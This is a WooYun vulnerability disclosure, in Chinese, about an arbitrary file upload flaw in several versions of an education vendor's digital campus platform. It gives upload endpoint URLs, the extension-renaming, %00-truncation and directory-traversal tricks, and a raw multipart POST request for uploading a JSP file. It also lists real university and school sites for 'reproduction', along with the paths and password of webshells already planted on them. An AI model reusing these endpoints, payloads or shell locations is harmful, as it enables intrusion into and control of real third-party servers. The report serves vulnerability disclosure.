WooYun.org

北京师科阳光信息技术有限公司是一家专业从事教育技术服务的软件企业、中关村高新技术企业,2011年1月公司被评为国家高新技术企业。公司成立于2004年，注册资金420万元。公司长期致力于“如何利用技术提高学习效率”的研发，在学习支持、知识服务领域拥有深厚的积累。公司拥有14项软件著作权，7个软件产品登记证书，2件商标权，一项发明专利。客户遍及十几个省市、自治区，包括中国教育电视台、高等教育出版社、北京师范大学、各级各类学校以及教育局等。
百度关键字：

技术支持:北京师科阳光信息技术有限公司

下面以官网为例：http://www.edutech.com.cn
1#前台任意文件上传

上传点：http://*/sysImageUploadAction.do?method=uploadimage&savepath=user&pathtype=D&sketch=vod

http://www.edutech.com.cn/sysImageUploadAction.do?method=uploadimage&savepath=user&pathtype=D&sketch=vod

上传之后文件路径可以参考站点文章内容里的图片路径
http://www.edutech.com.cn/cms/uploaddir/product/4d697d9967ee9354a2941ffcb0351636.jpg
这里要注意路径product与上传时传递的参数savepath=user有关，即http://www.edutech.com.cn/cms/uploaddir/*savepath的值/返回的值

比如上图的15c030fe752c02accd6b99de3e74c564.jpg，最后路径就是
http://www.edutech.com.cn/cms/uploaddir/user/15c030fe752c02accd6b99de3e74c564.jpg

在上传的时候直接将文件后缀改为.jsp即可上传shell

通过对参数filename的控制，可以自定义文件名，我"method=uploadimagedeal&savepath=user&filename=wooyun&sketch=vod&datepath="

也可以利用截断上传%00

当然也可以跨目录

以下案例供重现：
http://fe.bnu.edu.cn/sysImageUploadAction.do?method=uploadimage&savepath=user&pathtype=D&sketch=vod
http://fe.bnu.edu.cn/upload_dir/1/news/201503/c5c4ab8718bf4e770d1e6cae35546b41.jsp 密码sqzr
http://www.wkmk.cn/sysImageUploadAction.do?method=uploadimage&savepath=user&pathtype=D&sketch=vod
这个站有做过处理的样子，上传点存在，但jsp和jspx访问报500错误
http://wlkc.jtdx.com.cn//sysImageUploadAction.do?method=uploadimage&savepath=user&pathtype=D&sketch=vod
有的时候上传找不到路径，要猜一下，看一下关联的几个站点的图片路径（确定upload_dir）
http://wlkc.jtdx.com.cn/upload_dir/user/2015-03-25/668763c8d469d704b2e1d9926061ae15.jsp 密码sqzr

这仅仅是个开始，这套数字校园平台系统好像有几个版本，在另一套版本里，上传点如下：(一样的抓包，改后缀名，一样的可以跨目录，自定义名称)
http://www.cea.bnu.edu.cn/imageUploadAction.fo?method=upload&savepath=user&pathtype=ID
http://www.cea.bnu.edu.cn/upload_dir/1/user/201503/70659ee17f7536d06c3462ecec44425e.jsp （密码sqzr）

http://zbzx.chpedu.net/imageUploadAction.fo?method=upload&savepath=user&pathtype=ID
http://zbzx.chpedu.net/upload_dir/1/user/201503/6f1757d186da2f68102af98be007d35f.jsp (密码sqzr)

以下案例供重现：
http://www.cma-china.com.cn//imageUploadAction.fo?method=upload&savepath=user&pathtype=ID
http://pdn.cea.bnu.edu.cn/imageUploadAction.fo?method=upload&savepath=user&pathtype=ID
接下来的百度中又发现了一套版本，上传点在这http://*/fileUploadAction.do，这里要利用POST数据包

POST http://*/fileUploadAction.do?ftag=networkfile&unitid=18 HTTP/1.1
Accept: text/*
Content-Type: multipart/form-data; boundary=----------ei4KM7Ij5ae0Ij5Ef1GI3KM7ei4Ij5
User-Agent: Shockwave Flash
Host: 注意替换
Content-Length: 19941
Connection: Keep-Alive
Pragma: no-cache
Cookie: 
------------ei4KM7Ij5ae0Ij5Ef1GI3KM7ei4Ij5
Content-Disposition: form-data; name="Filename"
160_default.jpg
------------ei4KM7Ij5ae0Ij5Ef1GI3KM7ei4Ij5
Content-Disposition: form-data; name="Filedata"; filename="160_default.jsp"
Content-Type: application/octet-stream
wooyun test
------------ei4KM7Ij5ae0Ij5Ef1GI3KM7ei4Ij5
Content-Disposition: form-data; name="Upload"
Submit Query
------------ei4KM7Ij5ae0Ij5Ef1GI3KM7ei4Ij5--

http://www.ljxes.com/fileUploadAction.do

http://zy.chpedu.net//fileUploadAction.do

以下案例供重现：
http://www.tj.shyedu.cn//fileUploadAction.do
http://pdn.cea.bnu.edu.cn//fileUploadAction.do
http://zy.jtdx.com.cn//fileUploadAction.do
http://www.wkmk.cn/fileUploadAction.do